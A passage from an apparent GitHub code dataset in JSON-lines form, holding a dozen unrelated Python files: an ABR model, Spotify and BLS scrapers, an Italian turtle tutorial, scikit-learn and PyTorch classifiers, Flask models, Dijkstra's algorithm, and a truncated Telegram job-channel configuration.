    if not S_decision_flag[-1]:\r\n             return 0, 0, 0\r\n\r\n         if S_decision_flag[-1]:\r\n             # compute action probability vector\r\n             with graph.as_default():\r\n                 action_prob = self.actor.predict(np.reshape(state, (1, S_INFO, S_LEN)))\r\n             #action_cumsum = np.cumsum(action_prob)\r\n             self.bit_rate = np.argmax(action_prob)\r\n\r\n             self.s_batch.append(state)\r\n\r\n             self.entropy_record.append(a3c.compute_entropy(action_prob[0]))\r\n\r\n             if end_of_video:\r\n                 self.last_bit_rate = 0\r\n                 self.bit_rate = 0  # use the default action here\r\n\r\n                 del self.s_batch[:]\r\n                 del self.a_batch[:]\r\n                 del self.r_batch[:]\r\n\r\n                 self.action_vec = np.zeros(A_DIM)\r\n                 self.action_vec[self.bit_rate] = 1\r\n\r\n                 self.s_batch.append(np.zeros((S_INFO, S_LEN)))\r\n                 self.a_batch.append(self.action_vec)\r\n                 self.entropy_record = []\r\n\r\n             target_buffer = 1\r\n             latency_limit = 4\r\n\r\n             return self.bit_rate, target_buffer, latency_limit\r\n\r\n         # If you choose other\r\n         #......\r\n\r\n\r\n\r\n     def get_params(self):\r\n     # get your params\r\n        your_params = []\r\n        return your_params\r\n","repo_name":"jiaoyangyin/ABR_repository","sub_path":"model_test/ABR_v2.py","file_name":"ABR_v2.py","file_ext":"py","file_size_in_byte":9912,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"39978414984","text":"import spotipy\nfrom spotipy.oauth2 import SpotifyOAuth\n\ndef get_access(dict_credintials):\n    auth_manager=SpotifyOAuth(**dict_credintials)\n    sp=spotipy.Spotify(auth_manager=auth_manager)\n    return sp\n\ndef create_playlists(current_account,names,descriptions,track_list):\n    user=current_account.current_user()[\"id\"]\n    for name,description,counter in zip(names,descriptions,range(len(names))):\n        start_index,end_index=((counter/len(names))*len(track_list),len(track_list)/len(names))\n        playlist_id=current_account.user_playlist_create(user=user,name=name,public=False,description=description)[\"id\"]\n        current_account.user_playlist_add_tracks(user=user,playlist_id=playlist_id,tracks=track_list[int(start_index):int(end_index)])\n        ","repo_name":"Mahmoud-Elseraty/Spotify-Time-Traveller","sub_path":"login.py","file_name":"login.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"18909038407","text":"#Name:       Waite Armstrong\n#ID:         800180062\n#Assignment: Final Assignment\n\n#importing necessasary libraries\nfrom datetime import date\nimport requests\nfrom bs4 import BeautifulSoup\n#creating a properly named file to write data to\ntoday = date.today()\nname = today.strftime(\"%Y%m%d\") + \".txt\"\nfile = open(str(name),\"w\")\n#base url \nurl = 'https://www.bls.gov/eag/home.htm'\nresponse = requests.get(url)\nsoup = BeautifulSoup(response.content,'html.parser')\n#gather all the links from the sidebar, then modify the base url into an array of usable state urls\nlistPre = soup.find_all('div', class_='secondary-nav')[-1]\nlinks = []\nfor link in listPre.find_all('a'):\n    links.append(\"https://www.bls.gov\" + link.get('href'))\n#for every individual link we created in the array, loop through and scrape the data\nfor link in links:\n    soupData = BeautifulSoup(requests.get(link).content,'html.parser')\n    try:\n        dataTable = soupData.find('tbody')\n        #Scrape the state name\n        stateName = soupData.find(\"div\", { \"id\" : \"programs-main-content\" }).find('h2').text\n        #Scrape the Labor Force Rate and strip the unneeded text\n        rOne = dataTable.find_all('tr')[1]\n        laborForce = rOne.find_all('span')[-2].text.strip(\"(p)\").strip(',')\n        #Scrape the Unemployment rate and strip the unneeded text\n        rTwo = dataTable.find_all('tr')[4]\n        unemRate = rTwo.find_all('span')[-2].text.strip(\"(p)\").strip(',')\n        #Ouput both values to the console as neatly formatted strings.\n        print(\"Current Unemployment rate for \" + stateName + \" is \" + unemRate)\n        print(\"Current Civilian Labor Force rate for \" + stateName + \" is \" + laborForce)\n        file.write(str(stateName) + \",\" + str(unemRate) + \",\" + today.strftime(\"%Y%m%d\") + '\\n')\n        file.write(str(stateName) + \",\" + str(laborForce) + \",\" +today.strftime(\"%Y%m%d\") + '\\n')\n    except:\n        print(\"Value not valid\")\n        pass\nprint(\"--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+\")\n#Scrape the Unemployment rate and strip the unneeded characters\n#The US employment data did not provide a labor force participation rate\n#Averaging the data from all the states would produce innaccurate data because\n#each state has different populations\nusLink = \"https://www.bls.gov/eag/eag.us.htm\"\nusSoupData = BeautifulSoup(requests.get(usLink).content,'html.parser')\nusDataTable = usSoupData.find('tbody').find_all('tr')[0]\nusUnemRate = usDataTable.find_all('span')[-2].text.strip(\"(p)\").strip(',')\nprint(\"Current Unemployment rate for the United States is \" + usUnemRate)\nfile.close()\n","repo_name":"waitearmstrong/BLScrape","sub_path":"BLScrape.py","file_name":"BLScrape.py","file_ext":"py","file_size_in_byte":2581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"34794190500","text":"\"\"\"\r\nUna libreria è un insieme di funzioni e metodi che semplificano la programmazione\r\nLa libreria Python turtle contiene tutti i metodi e le funzioni per creare delle immagini.\r\nPer accedere a una libreria Python, bisogna importarla nell' ambiente Python, in questo modo:\r\n\"\"\"\r\n\r\nimport turtle\r\n\r\n\"\"\"\r\nTurtle è una libreria Python preinstallata che consente di creare immagini e forme fornendo loro una tela virtuale.\r\nLa freccia sullo schermo che si usa per disegnare si chiama turtle e questo è ciò che dà il nome alla libreria.\r\nla turtle è un modo semplice ma versatile per comprendere i concetti di Python.\r\n\r\n\r\nTurtle è una libreria grafica, quindi bisogna creare una finestra separata per eseguire ogni comando di disegno.\r\nSi creare questa schermata inizializzando una variabile Turtle.\r\n\r\n\"\"\"\r\n\r\nschermo = turtle.Screen()    #inizializzazione variabile   apparirà uno schermo con una freccia  al centro\r\ntarataruga = turtle.Turtle()    #inizializzazione variabile turtle\r\n\r\n\"\"\"\r\ndopo aver creato lo schermo e la tartaruga (freccia) possiamo farla muovere con le seguenti funzioni\r\n\"\"\"\r\n\r\ntarataruga.right(90) # la tartaruga gira a destra di 90°\r\ntarataruga.forward(100)  # la tartaruga va avanti di 100 unità\r\ntarataruga.left(90) # la tartaruga gira a sinistra di 90°\r\ntarataruga.backward(100) # la tartaruga va indietro di 100 unità\r\nschermo.reset #pulisce lo schermo\r\n\r\n\"\"\"\r\nLo schermo è diviso in quattro quadranti. Il punto in cui la tartaruga è inizialmente posizionata all'inizio del tuo programma è (0,0).\r\nPer spostare la tartaruga in qualsiasi altra area dello schermo bisogna usare .goto() e inserire le coordinate\r\nChiamando la funzione .home() lei tornerà alle coordinate (0,0) \r\n\"\"\"\r\n\r\nx,y=10,20\r\ntarataruga.go(x,y) # adesso la tartaruga si posizionerà in queste coordinate\r\ntarataruga.home # la posizione viene resettata\r\n\r\n\"\"\"\r\nLa turtle viene usata per la creazione di forme reali.\r\nSi può iniziare disegnando poligoni poiché sono tutti costituiti da linee rette collegate a determinati angoli\r\n\"\"\"\r\n\r\ntarataruga.fd(100)      # forma abbreviata per  .forward()\r\ntarataruga.rt(90)       # forma abbreviata per  .right()\r\ntarataruga.fd(100)\r\ntarataruga.rt(90)\r\ntarataruga.fd(100)\r\ntarataruga.rt(90)\r\ntarataruga.fd(100)\r\n\r\n\r\n\"\"\"\r\nSi posono anche creare  cerchi con .circle\r\n\"\"\"\r\nraggio=50\r\ntarataruga.circle(raggio) \r\n","repo_name":"MicheleMolineri/4A_ROB_Sistemi_E_Reti-","sub_path":"Pitone/PitoneBasi/000_RelazioneTurtlePython.py","file_name":"000_RelazioneTurtlePython.py","file_ext":"py","file_size_in_byte":2361,"program_lang":"python","lang":"it","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"15056170236","text":"# Built-in imports \nimport sys\nimport os\n\n# External imports \nimport numpy as np\nimport cv2 as cv\nimport xlrd\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.neural_network import MLPClassifier\nfrom sklearn.svm import SVC\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.preprocessing import StandardScaler\n\nimport joblib\n\n# My Own imports\nimport get_path_assests_folder as gpaf\n\n# Get assets folder in repo for the samples\nASSETS_FOLDER = gpaf.get_assets_folder_path()\n\n# Create a new excel file with a new sheet to work with\npath_dataset_file = os.path.join(\n    ASSETS_FOLDER, \"xlsx\", \"complete_numbers_dataset.xlsx\")\nworkbook = xlrd.open_workbook(path_dataset_file)\n\ndef load_excel(xlsx):\n    worksheet = xlsx.sheet_by_index(0)\n    X = np.zeros((worksheet.nrows, worksheet.ncols - 1))\n    Y = []\n\n    for i in iter(range(worksheet.nrows)):\n        for j in iter(range(worksheet.ncols - 1)):\n            X[i,j] = worksheet.cell_value(rowx=i, colx=j+1)\n            \n        Y.append(worksheet.cell_value(rowx=i, colx=0))\n        \n    Y = np.array(Y, np.float32)\n    return X, Y\n\ndef mlp_model():\n    X, Y = load_excel(workbook)\n\n    ss = StandardScaler()\n    X = ss.fit_transform(X)\n\n    samples_train, samples_test, responses_train, responses_test = train_test_split(X, Y, test_size=0.3)\n\n    mlp = MLPClassifier(activation=\"relu\", hidden_layer_sizes=(100,100), max_iter=1000, tol=0.0001)\n\n    mlp.fit(samples_train, responses_train)\n    result_accuracy = accuracy_score(responses_test, mlp.predict(samples_test))\n    print(result_accuracy*100.0)\n\n    def save_models(model_name):\n        # Save the models\n        path_dataset_file = os.path.join(\n            ASSETS_FOLDER, \"models\", model_name)\n        return path_dataset_file\n\n    joblib.dump(ss, save_models(\"model_ss.pkl\"))\n    joblib.dump(mlp, save_models(\"model_mlp.pkl\"))\n\ndef svm_model():\n    X, Y = load_excel(workbook)\n\n    ss = StandardScaler()\n    X = ss.fit_transform(X)\n    vector_C = [1, 10, 100]\n\n    for i in iter(range(3)):\n        samples_train, samples_test, responses_train, responses_test = train_test_split(X, Y, test_size=0.3)\n\n        svm = SVC(C=vector_C[i], kernel=\"rbf\")\n\n        svm.fit(samples_train, responses_train)\n        result_accuracy = accuracy_score(responses_test, svm.predict(samples_test))\n        print(result_accuracy*100.0)\n\n        def save_models(model_name):\n            # Save the models\n            path_dataset_file = os.path.join(\n                ASSETS_FOLDER, \"models\", model_name)\n            return path_dataset_file\n\n        joblib.dump(ss, save_models(\"model_ss.pkl\"))\n        joblib.dump(svm, save_models(\"model_svm.pkl\"))\n\ndef main():\n    # mlp_model()\n    svm_model()\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n","repo_name":"Elkinmt19/computer-vision-dojo","sub_path":"python/class-challenges/samples/sample_class_8.py","file_name":"sample_class_8.py","file_ext":"py","file_size_in_byte":2759,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"38"}
{"seq_id":"28679067295","text":"\"\"\"\nUtilities for dataset\n\"\"\"\nimport datetime\n\nimport torch\nimport torch.utils.data as data_utils\nfrom PIL import Image\nfrom torch.utils.data import Dataset\nfrom torchvision.utils import save_image\nfrom domainlab.utils.logger import Logger\n\n\ndef fun_img_path_loader_default(path):\n    \"\"\"\n    https://discuss.pytorch.org/t/handling-rgba-images/88428/4\n    \"\"\"\n    return Image.open(path).convert('RGB')\n\n\ndef mk_fun_label2onehot(dim):\n    \"\"\"\n    function generator\n    index to onehot\n    \"\"\"\n    def fun_label2onehot(label):\n        \"\"\"\n        :param label:\n        \"\"\"\n        m_eye = torch.eye(dim)\n        return m_eye[label]\n    return fun_label2onehot\n\n\ndef plot_ds(dset, f_name, batchsize=32):\n    \"\"\"\n    :param dset:\n    :param f_name:\n    :param batchsize: batch_size\n    \"\"\"\n    loader_tr = data_utils.DataLoader(dset, batch_size=batchsize, shuffle=False)\n    for _, (img, _, *_) in enumerate(loader_tr):\n        nrow = min(img.size(0), 8)\n        save_image(img.cpu(), f_name, nrow=nrow)\n        break  # only one batch\n\n\ndef plot_ds_list(ds_list, f_name, batchsize=8, shuffle=False):\n    \"\"\"\n    plot list of datasets, each datasets in one row\n    :param ds_list:\n    :param fname:\n    :param batchsize:\n    :param shuffle:\n    \"\"\"\n    list_imgs = []\n    for dset in ds_list:\n        loader = data_utils.DataLoader(dset, batch_size=batchsize, shuffle=shuffle)\n        for _, (img, _, *_) in enumerate(loader):\n            list_imgs.append(img)\n            break\n    comparison = torch.cat(list_imgs)\n    save_image(comparison.cpu(), f_name, nrow=batchsize)\n\n\nclass DsetInMemDecorator(Dataset):\n    \"\"\"\n    fetch all items of a dataset into memory\n    \"\"\"\n    def __init__(self, dset, name=None):\n        \"\"\"\n        :param dset: x, y, *d\n        :param name: name of dataset\n        \"\"\"\n        self.dset = dset\n        self.item_list = []\n        logger = Logger.get_logger()\n        if name is not None:\n            logger.info(f\"loading dset {name}\")\n        t_0 = datetime.datetime.now()\n        for i in range(len(self.dset)):\n            self.item_list.append(self.dset[i])\n        t_1 = datetime.datetime.now()\n        logger.info(f\"loading dataset to memory taken: {t_1 - t_0}\")\n\n    def __getitem__(self, idx):\n        \"\"\"\n        :param idx:\n        \"\"\"\n        return self.item_list[idx]\n\n    def __len__(self):\n        return self.dset.__len__()\n","repo_name":"marrlab/DomainLab","sub_path":"domainlab/dsets/utils_data.py","file_name":"utils_data.py","file_ext":"py","file_size_in_byte":2373,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"38"}
{"seq_id":"27917735584","text":"from pathlib import Path\nfrom qgis.PyQt import QtWidgets\nfrom qgis.PyQt import uic\nfrom qgis.PyQt.QtCore import pyqtSignal\nfrom qgis.PyQt.QtWidgets import QDockWidget\n\nimport logging\n\n\nlogger = logging.getLogger(__name__)\n\nui_file = Path(__file__).parent / \"dockwidget.ui\"\nassert ui_file.is_file()\nFORM_CLASS, _ = uic.loadUiType(ui_file)\n\n\nclass ControlStructuresDockWidget(QDockWidget, FORM_CLASS):\n\n    closingWidget = pyqtSignal()\n\n    def __init__(self, iface=None, command=None):\n        \"\"\"Constructor.\"\"\"\n        super().__init__()\n        # Set up the user interface from Designer.\n        self.setupUi(self)\n        # See https://wiki.qt.io/PySide_Pitfalls.\n        self.keep_reference_so_it_doesnt_garbage_collect = command\n\n    def closeEvent(self, event):\n        self.closingWidget.emit()\n        event.accept()\n\n\nif __name__ == \"__main__\":\n    import sys\n\n    app = QtWidgets.QApplication(sys.argv)\n    controlStructureDockWidget = ControlStructuresDockWidget()\n    controlStructureDockWidget.show()\n    sys.exit(app.exec_())\n","repo_name":"leendertvanwolfswinkel/threedi-qgis-plugin","sub_path":"tool_commands/control_structures/dockwidget.py","file_name":"dockwidget.py","file_ext":"py","file_size_in_byte":1040,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"38"}
{"seq_id":"9423477176","text":"# %%\n# Fetching dataset\n# wget https://download.microsoft.com/download/3/E/1/3E1C3F21-ECDB-4869-8368-6DEBA77B919F/kagglecatsanddogs_3367a.zip\n# sudo apt-get install unzip\n# unzip kagglecatsanddogs_3367a.zip\n########################################\n\nimport os\nimport cv2\nimport numpy\nfrom tqdm import tqdm\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\n\n# %%\n# Building dataset with a data builder class\n\n# Flag to control rebuilds\nREBUILD_DATA = False\n\n# Relative path to datasets\nPARENTDIR = os.path.abspath(os.path.join(os.path.dirname(__file__), os.path.pardir))\nDATASETS = os.path.join(PARENTDIR, \"Datasets\\kagglecatsanddogs_3367a\")\n\nclass BuildData() :\n\n    IMG_SIZE = 50\n    CATS = \"PetImages\\Cat\"\n    DOGS = \"PetImages\\Dog\"\n    TESTING = \"PetImages\\Testing\"\n    LABELS = {CATS: 0, DOGS: 1}\n    training_data = []\n\n    # Countersss to count available data\n    catCount = 0\n    dogCount = 0\n\n    def make_training_data(self):\n        for label in self.LABELS:\n            print (\"Processing \", label)\n            for f in tqdm(os.listdir(os.path.join(DATASETS, label))):\n                if \"jpg\" in f:\n                    try:\n                        path = os.path.join(DATASETS, label, f)\n                        img = cv2.imread (path, cv2.IMREAD_GRAYSCALE)\n                        img = cv2.resize (img, (self.IMG_SIZE, self.IMG_SIZE))\n                        self.training_data.append ([numpy.array(img), numpy.eye(2)[self.LABELS[label]]])\n                            \n                        if label == self.CATS:\n                            self.catCount += 1\n                        elif label == self.DOGS:\n                            self.dogCount += 1\n                    \n                    except Exception as e:\n                        pass\n\n        numpy.random.shuffle (self.training_data)\n        numpy.save (\"training_data.npy\", self.training_data)    \n        print (\"CatCount: \", self.catCount, \" DogCount: \", self.dogCount)\n\n# Class for the NN module\nclass Net(nn.Module):\n    # init \n    def __init__(self):\n        # Calling parent __init__()\n        super().__init__()\n\n        # Convolutional layers\n        self.conv1 = nn.Conv2d (1, 32, 5)   # 1 input 32 outputs 5x5 kernel\n        self.conv2 = nn.Conv2d (32, 64, 5)  # 32 inputs 64 outputs 5x5 kernel\n        self.conv3 = nn.Conv2d (64, 128, 5) # 64 inputs 128 outputs 5x5 kernel\n\n        x = torch.randn (50, 50).view(-1, 1, 50, 50)\n        self._to_linear = None\n        self.convs (x)\n\n        # Linear layers\n        self.fc1 = nn.Linear (self._to_linear, 512)\n        self.fc2 = nn.Linear (512, 2)\n    \n    # perform convolutions\n    def convs(self, x):\n        # max pooling over 2x2\n        x = F.max_pool2d (F.relu (self.conv1(x)), (2, 2))\n        x = F.max_pool2d (F.relu (self.conv2(x)), (2, 2))\n        x = F.max_pool2d (F.relu (self.conv3(x)), (2, 2))\n\n        if self._to_linear is None:\n            self._to_linear = x[0].shape[0] * x[0].shape[1] * x[0].shape[2]\n        return x\n    \n    # forward pass\n    def forward(self, x):\n        x = self.convs (x)\n        x = x.view (-1, self._to_linear)\n        x = F.relu (self.fc1(x))\n        x = self.fc2 (x)    # last layer so no activation here\n        return F.softmax (x, dim=1)\n\n# %%\n# Create network\nnet = Net()\nprint (net)\n\n# Build data once\nif REBUILD_DATA:\n    buildData = BuildData()\n    buildData.make_training_data()\n\n# %%\n# Load training data\ntraining_data = numpy.load (\"training_data.npy\", allow_pickle=True)\nprint (len(training_data))\n\noptimizer = optim.Adam (net.parameters(), lr=0.001)\nloss_function = nn.MSELoss ()\n\n# Load data into X\nX = torch.Tensor ([i[0] for i in training_data]).view(-1, 50, 50)\n# Normalize\nX = X / 255\n# Load labels into y\ny = torch.Tensor ([i[1] for i in training_data])\n\nVALIDATION_PCT = 0.1\nval_size = int (len(X) * VALIDATION_PCT)\n\ntrain_X = X[:-val_size]\ntrain_y = y[:-val_size]\n\ntest_X = X[-val_size]\ntest_y = y[-val_size]\n\nBATCH_SIZE = 100\nEPOCHS = 5\n\n# Training\n# def train (net):\nfor epoch in range (EPOCHS):\n    for i in tqdm(range(0, len(train_X), BATCH_SIZE)):\n        batch_X = train_X[i:i+BATCH_SIZE].view(-1, 1, 50, 50)\n        batch_y = train_y[i:i+BATCH_SIZE]\n\n        # reset gradients\n        net.zero_grad()\n\n        outputs = net(batch_X)\n        loss = loss_function (outputs, batch_y)\n        # back propagation\n        loss.backward()\n        # update\n        optimizer.step()\n    \n    print (f\"Epoch: {epoch}. Loss: {loss}\")\n\n# Testing\n# def test (net):\ncorrect = 0\ntotal = 0\n\nwith torch.no_grad():\n    for i in tqdm(range(len(test_X))):\n        real_class = torch.argmax (test_y[i])\n        net_out = net(test_X[i].view(-1, 1, 50, 50))[0]\n        predicted_class = torch.argmax (net_out)\n\n        if predicted_class == real_class:\n            correct += 1\n        \n        total += 1\n    \nprint (\"Accuracy: \", round(correct/total, 3))\n# %%\n","repo_name":"a-anandtv/MNIST-data-prediction-NN","sub_path":"mnist_prediction.py","file_name":"mnist_prediction.py","file_ext":"py","file_size_in_byte":4902,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"15698824845","text":"from flask import Flask\nfrom flask_restful import Api\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_apispec.extension import FlaskApiSpec\nfrom config import Swagger\n\n\napp = Flask(__name__)\n# app.config.from_object(os.environ['APP_SETTINGS'])\napp.config['SQLALCHEMY_DATABASE_URI'] = \"postgresql://postgres:admin@localHost:5432/cargill\"\napp.config.update(Swagger().swagger_config)\n\ndb = SQLAlchemy(app)\n# manager = Manager(app)\ndocs = FlaskApiSpec(app)\n   \n#wrap a app inside api\napi = Api(app)\n\nteam_role_identifier = db.Table('team_role_identifier',\n    db.Column('team_id', db.Integer, db.ForeignKey('team.id')),\n    db.Column('role_id', db.Integer, db.ForeignKey('role.id'))\n)\n\nclass Team(db.Model):\n    id = db.Column(db.Integer, primary_key=True)\n    name = db.Column(db.String(30), unique=True)\n    role = db.relationship(\"Role\", secondary=team_role_identifier , backref = \"team\")\n\n    def __init__(self, name):\n        self.name = name\n\nclass Role(db.Model):\n    id = db.Column(db.Integer, primary_key=True)\n    role = db.Column(db.String(30))\n\n    def __init__(self, role):\n        self.role = role\n        ","repo_name":"Afsaan/cargill-project","sub_path":"flask_rest/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1119,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"74457554991","text":"def graph_input():\n    G={}\n    M=int(input())\n    for i in range (M):\n        a,b,weight = input().split()\n        weight=float(weight)\n        if a not in G:\n            G[a]={b:weight}\n        else:\n            G[a][b]=weight\n        if b not in G:\n            G[b]={a:weight}\n        else:\n            G[b][a]=weight\n    return G\ndef dejkstra(G,start):\n    shortest_path={vertex:float('+inf') for vertex in G}\n    shortest_path[start] = 0\n    queue = [start]\n    while queue:\n        current=queue.pop(0)\n        for neighbour in G[current]:\n            offering_shortest_path = shortest_path[current]+(G[current][neighbour])\n            if offering_shortest_path < shortest_path[neighbour]:\n                shortest_path[neighbour]=offering_shortest_path\n                queue.append(neighbour)\n    return shortest_path\nG=graph_input()\nstart=input('Введите начальную вершину:')\nfinish = input('Введите конечную вершину:')                 \nshortest_path = dejkstra(G, start)\npath  = [finish]    \ncurrent = finish\nwhile current != start:\n       for vertex in G[current]:\n           if current != start:\n               if shortest_path[current] - G[current][vertex] == shortest_path[vertex]:\n                   current = vertex\n                   path.append(current) \n           else:\n               break\nprint(path[::-1])\n","repo_name":"egorrozinskiy/pract20","sub_path":"6.py","file_name":"6.py","file_ext":"py","file_size_in_byte":1372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"29557874317","text":"import os, sys\nsys.path.append(os.path.abspath('../../main/python'))\nfrom thalesians.tsa.conditions import precondition, postcondition\n\nclass Subtractor(object):\n    @precondition(lambda self, arg1, arg2: arg1 >= 0, 'arg1 must be greater than or equal to 0')\n    @precondition(lambda self, arg1, arg2: arg2 >= 0, 'arg2 must be greater than or equal to 0')\n    @postcondition(lambda result: result >= 0, 'result must be greater than or equal to 0')\n    def subtract(self, arg1, arg2):\n        return arg1 - arg2\n\nsubtractor = Subtractor()\nsubtractor.subtract(300, 200)\n\nsubtractor.subtract(-300, 200)\n\nMIN_PRECONDITION_LEVEL = 5\nMIN_POSTCONDITION_LEVEL = 7\n\n","repo_name":"mixmikmic/GH_code_analysis","sub_path":"python/conditions.py","file_name":"conditions.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"26338455418","text":"import os\n\nfrom telethon.tl.types import InputPeerChannel\n\ntest_channel = {\n    'access_hash': 469327645547328819,\n    'channel_id': 1639166908,\n    'name': \"Test channel\"\n}\n\nassert (os.getenv(\"ENV\") is not None)\n\nif os.getenv(\"ENV\") == \"PROD\":\n    assert (os.getenv(\"PROD_TRANSIENT_CHANNEL_ID\") is not None)\n    assert (os.getenv(\"PROD_TRANSIENT_CHANNEL_HASH\") is not None)\n\n    TRANSIENT_CHANNEL = InputPeerChannel(\n        channel_id=int(os.getenv(\"PROD_TRANSIENT_CHANNEL_ID\")),\n        access_hash=int(os.getenv(\"PROD_TRANSIENT_CHANNEL_HASH\"))\n    )\nelif os.getenv(\"ENV\") in [\"DEV\", \"TEST\"]:\n    assert (os.getenv(\"DEV_TRANSIENT_CHANNEL_ID\") is not None)\n    assert (os.getenv(\"DEV_TRANSIENT_CHANNEL_HASH\") is not None)\n\n    TRANSIENT_CHANNEL = InputPeerChannel(\n        channel_id=int(os.getenv(\"DEV_TRANSIENT_CHANNEL_ID\")),\n        access_hash=int(os.getenv(\"DEV_TRANSIENT_CHANNEL_HASH\"))\n    )\nelse:\n    raise NotImplementedError(f\"Unknown env: {os.getenv('ENV')}\")\n\nALL_CHANNELS = [\n    {\n        'access_hash': 2976770772219907335,\n        'channel_id': 1164672298,\n        'name': \"Remote Junior\"\n    },\n    {'access_hash': 8428875027805792449,\n     'channel_id': 1389339613,\n     'is_description_behind_link': True,\n     'multi_job_per_post': False,\n     'name': 'Job for Mobile: iOS, Android, React Native'\n     },\n    {'access_hash': 541831534101569748,\n     'channel_id': 1193527943,\n     'is_description_behind_link': False,\n     'multi_job_per_post': False,\n     'name': 'React Job | JavaScript | Вакансии'\n     },\n    {'access_hash': -898868513418622808,\n     'channel_id': 1158822652,\n     'is_description_behind_link': True,\n     'multi_job_per_post': False,\n     'name': 'Job for Sales & BizDev'},\n    {'access_hash': 9076778684002781890,\n     'channel_id': 1381822968,\n     'is_description_behind_link': True,\n     'multi_job_per_post': False,\n     'name': 'Job for Python'},\n    {'access_hash': 7919687926212840303,\n     'channel_id': 1121739665,\n     'is_description_behind_link': True,\n     'multi_job_per_post': False,\n     'name': 'IT / Tech jobs',\n     'stop_list': {\n         \"\"\"Откликнуться\"\"\": \"sentence\",\n         \"\"\"Также укажите, что узнали о вакансии в телеграм-канале\"\"\": \"sentence\",\n     }\n     },\n    {'access_hash': 903953412204021494,\n     'channel_id': 1093073202,\n     'is_description_behind_link': True,\n     'multi_job_per_post': False,\n     'name': 'Job for Products and Projects'},\n    {'access_hash': 1844987617375418658,\n     'channel_id': 1278223896,\n     'is_description_behind_link': True,\n     'multi_job_per_post': False,\n     'name': 'Работа для программистов'},\n    {'access_hash': -3977871306693611190,\n     'channel_id': 1311122978,\n     'is_description_behind_link': True,\n     'multi_job_per_post': True,\n     'name': 'Job for Gamedev'\n     },\n    {'access_hash': -6024297560067880330,\n     'channel_id': 1120288601,\n     'is_description_behind_link': False,\n     'multi_job_per_post': False,\n     'name': 'Game Development Jobs'},\n    {'access_hash': -322044654691326781,\n     'channel_id': 1304726099,\n     'is_description_behind_link': True,\n     'multi_job_per_post': False,\n     'name': 'Job for Junior'},\n    {'access_hash': 1687002375173859764,\n     'channel_id': 1347539956,\n     'is_description_behind_link': True,\n     'multi_job_per_post': False,\n     'name': 'Job for Frontend (JavaScript + Node.js) developers'},\n    {'access_hash': -5802747999461008919,\n     'channel_id': 1213858047,\n     'is_description_behind_link': True,\n     'multi_job_per_post': False,\n     'name': 'Job for Sysadmin & DevOps'},\n    {'access_hash': -7356759028711771809,\n     'channel_id': 1137236002,\n     'is_description_behind_link': True,\n     'multi_job_per_post': False,\n     'name': 'Job for Analysts & Data Scientists'},\n    {'access_hash': 8485381346591159987,\n     'channel_id': 1344577123,\n     'is_description_behind_link': False,\n     'multi_job_per_post': False,\n     'name': 'Backend Job Offers',\n     'stop_list': {\n         \"\"\"Больше вакансий для\"\"\": \"sentence\"\n     }\n     },\n    {'access_hash': -2361681074873080876,\n     'channel_id': 1284685057,\n     'is_description_behind_link': False,\n     'multi_job_per_post': False,\n     'name': 'Data Science & Analytics Job Offers',\n     'stop_list': {\n         \"\"\"Больше вакансий для\"\"\": \"sentence\"\n     }\n     },\n    {'access_hash': 4831027988192722571,\n     'channel_id': 1552358777,\n     'is_description_behind_link': False,\n     'multi_job_per_post': False,\n     'name': 'Front-end Job Offers',\n     'stop_list': {\n         \"\"\"Больше вакансий для\"\"\": \"sentence\"\n     }\n     },\n    {'access_hash': 241375852089008841,\n     'channel_id': 1582627575,\n     'is_description_behind_link': False,\n     'multi_job_per_post': False,\n     'name': 'Python Job Offers',\n     'stop_list': {\n         \"\"\"Больше вакансий для\"\"\": \"sentence\"\n     }\n     },\n    {'access_hash': -2528447617351018712,\n     'channel_id': 1613192375,\n     'is_description_behind_link': False,\n     'multi_job_per_post': False,\n     'name': 'JavaScript Job Offers',\n     'stop_list': {\n         \"\"\"Больше вакансий для\"\"\": \"sentence\"\n     }\n     },\n    {'access_hash': -4263815108725822742,\n     'channel_id': 1697683423,\n     'is_description_behind_link': False,\n     'multi_job_per_post': False,\n     'name': 'Web-Development Job Offers',\n     'stop_list': {\n         \"\"\"Больше вакансий для\"\"\": \"sentence\"\n     }\n     },\n    {'access_hash': -7836502298176282540,\n     'channel_id': 1720285887,\n     'is_description_behind_link': False,\n     'multi_job_per_post': False,\n     'name': 'Mobile App Development Job Offers',\n     'stop_list': {\n         \"\"\"Больше вакансий для\"\"\": \"sentence\"\n     }\n     },\n    {'access_hash': 868338523758586103,\n     'channel_id': 1778222868,\n     'is_description_behind_link': False,\n     'multi_job_per_post': False,\n     'name': 'C#/.Net Job Offers',\n     'stop_list': {\n         \"\"\"Больше вакансий для\"\"\": \"sentence\"\n     }\n     },\n    {'access_hash': -8824982914942903222,\n     'channel_id': 1134745498,\n     'is_description_behind_link': False,\n     'multi_job_per_post': False,\n     'name': 'Devops Jobs — вакансии и резюме',\n     \"stop_list\": {\n         \"\"\"Обсуждение вакансии в чате\"\"\": \"sentence\",\n         \"\"\"Публикатор\"\"\": \"sentence\"\n     }\n\n     },\n    {'access_hash': 8274346033205165479,\n     'channel_id': 1336250861,\n     'is_description_behind_link': False,\n     'multi_job_per_post': False,\n     'name': 'IT Jobs | Вакансии в IT'},\n    {'access_hash': 7098560528067664368,\n     'channel_id': 1399472074,\n     'is_description_behind_link': True,\n     